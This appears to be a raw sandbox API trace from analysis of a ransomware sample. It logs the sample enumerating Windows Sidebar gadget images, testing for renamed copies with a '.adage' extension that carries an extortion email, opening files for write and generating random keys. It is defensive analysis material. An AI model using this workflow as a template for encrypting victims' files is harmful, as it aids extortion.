1 [0064.493] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\button_left_mouseover.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\button_left_mouseover.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0064.494] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=184) returned 1 [0064.494] CloseHandle (hObject=0x1ac) returned 1 [0064.494] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\button_left_mouseover.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\button_left_mouseover.png")) returned 0x20 [0064.494] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\button_left_mouseover.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\button_left_mouseover.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.494] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\button_left_mouseover.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\button_left_mouseover.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.494] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.494] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\button_MCELogo_mousedown.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\button_mcelogo_mousedown.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0064.495] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=1692) returned 1 [0064.495] CloseHandle (hObject=0x1ac) returned 1 [0064.495] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\button_MCELogo_mousedown.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\button_mcelogo_mousedown.png")) returned 0x20 [0064.496] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\button_MCELogo_mousedown.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\button_mcelogo_mousedown.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.496] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\button_MCELogo_mousedown.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\button_mcelogo_mousedown.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.496] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.496] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\button_MCELogo_mouseout.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\button_mcelogo_mouseout.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0064.496] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=1692) returned 1 [0064.496] CloseHandle (hObject=0x1ac) returned 1 [0064.496] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\button_MCELogo_mouseout.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\button_mcelogo_mouseout.png")) returned 0x20 [0064.496] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\button_MCELogo_mouseout.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\button_mcelogo_mouseout.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.497] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\button_MCELogo_mouseout.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\button_mcelogo_mouseout.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.497] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.497] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\button_MCELogo_mouseover.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\button_mcelogo_mouseover.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0064.497] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=1725) returned 1 [0064.497] CloseHandle (hObject=0x1ac) returned 1 [0064.497] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\button_MCELogo_mouseover.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\button_mcelogo_mouseover.png")) returned 0x20 [0064.497] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\button_MCELogo_mouseover.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\button_mcelogo_mouseover.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.497] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\button_MCELogo_mouseover.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\button_mcelogo_mouseover.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.498] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.498] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\button_play.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\button_play.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0064.498] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=6100) returned 1 [0064.498] CloseHandle (hObject=0x1ac) returned 1 [0064.498] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\button_play.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\button_play.png")) returned 0x20 [0064.498] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\button_play.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\button_play.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.498] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\button_play.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\button_play.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.498] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.498] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\button_right_mousedown.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\button_right_mousedown.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0064.500] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=179) returned 1 [0064.500] CloseHandle (hObject=0x1ac) returned 1 [0064.500] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\button_right_mousedown.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\button_right_mousedown.png")) returned 0x20 [0064.500] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\button_right_mousedown.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\button_right_mousedown.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.500] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\button_right_mousedown.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\button_right_mousedown.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.500] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.500] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\button_right_mouseout.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\button_right_mouseout.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0064.501] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=176) returned 1 [0064.501] CloseHandle (hObject=0x1ac) returned 1 [0064.501] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\button_right_mouseout.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\button_right_mouseout.png")) returned 0x20 [0064.501] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\button_right_mouseout.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\button_right_mouseout.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.501] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\button_right_mouseout.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\button_right_mouseout.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.501] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.501] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\button_right_mouseover.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\button_right_mouseover.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0064.501] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=176) returned 1 [0064.501] CloseHandle (hObject=0x1ac) returned 1 [0064.501] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\button_right_mouseover.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\button_right_mouseover.png")) returned 0x20 [0064.501] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\button_right_mouseover.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\button_right_mouseover.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.502] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\button_right_mouseover.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\button_right_mouseover.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.502] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.502] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\default_thumb.jpg" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\default_thumb.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0064.502] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=25070) returned 1 [0064.502] CloseHandle (hObject=0x1ac) returned 1 [0064.502] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\default_thumb.jpg" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\default_thumb.jpg")) returned 0x20 [0064.502] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\default_thumb.jpg.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\default_thumb.jpg.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.502] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\default_thumb.jpg" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\default_thumb.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.502] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.502] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\ehshellLogo.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\ehshelllogo.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0064.503] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=5762) returned 1 [0064.503] CloseHandle (hObject=0x1ac) returned 1 [0064.503] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\ehshellLogo.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\ehshelllogo.png")) returned 0x20 [0064.503] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\ehshellLogo.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\ehshelllogo.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.503] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\ehshellLogo.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\ehshelllogo.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.503] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.503] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\flyout_background.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\flyout_background.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0064.504] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=187794) returned 1 [0064.504] CloseHandle (hObject=0x1ac) returned 1 [0064.504] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\flyout_background.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\flyout_background.png")) returned 0x20 [0064.504] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\flyout_background.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\flyout_background.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.504] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\flyout_background.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\flyout_background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.504] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.504] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\Gadget_Flyout_Thumbnail_Shadow.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\gadget_flyout_thumbnail_shadow.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0064.505] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=1526) returned 1 [0064.505] CloseHandle (hObject=0x1ac) returned 1 [0064.505] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\Gadget_Flyout_Thumbnail_Shadow.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\gadget_flyout_thumbnail_shadow.png")) returned 0x20 [0064.505] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\Gadget_Flyout_Thumbnail_Shadow.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\gadget_flyout_thumbnail_shadow.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.505] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\Gadget_Flyout_Thumbnail_Shadow.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\gadget_flyout_thumbnail_shadow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.505] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.505] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\Gadget_Main_Background_Loading.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\gadget_main_background_loading.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0064.506] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=150964) returned 1 [0064.506] CloseHandle (hObject=0x1ac) returned 1 [0064.506] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\Gadget_Main_Background_Loading.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\gadget_main_background_loading.png")) returned 0x20 [0064.506] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\Gadget_Main_Background_Loading.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\gadget_main_background_loading.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.506] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\Gadget_Main_Background_Loading.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\gadget_main_background_loading.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.506] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.506] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\Gadget_Main_Background_QuickLaunch.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\gadget_main_background_quicklaunch.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0064.506] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=53091) returned 1 [0064.506] CloseHandle (hObject=0x1ac) returned 1 [0064.506] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\Gadget_Main_Background_QuickLaunch.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\gadget_main_background_quicklaunch.png")) returned 0x20 [0064.506] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\Gadget_Main_Background_QuickLaunch.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\gadget_main_background_quicklaunch.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.506] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\Gadget_Main_Background_QuickLaunch.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\gadget_main_background_quicklaunch.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.507] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.507] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\Gadget_Main_Gradient.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\gadget_main_gradient.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0064.507] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=34536) returned 1 [0064.507] CloseHandle (hObject=0x1ac) returned 1 [0064.507] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\Gadget_Main_Gradient.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\gadget_main_gradient.png")) returned 0x20 [0064.507] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\Gadget_Main_Gradient.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\gadget_main_gradient.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.507] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\Gadget_Main_Gradient.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\gadget_main_gradient.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.507] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.507] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\Gadget_Star_Empty.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\gadget_star_empty.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, 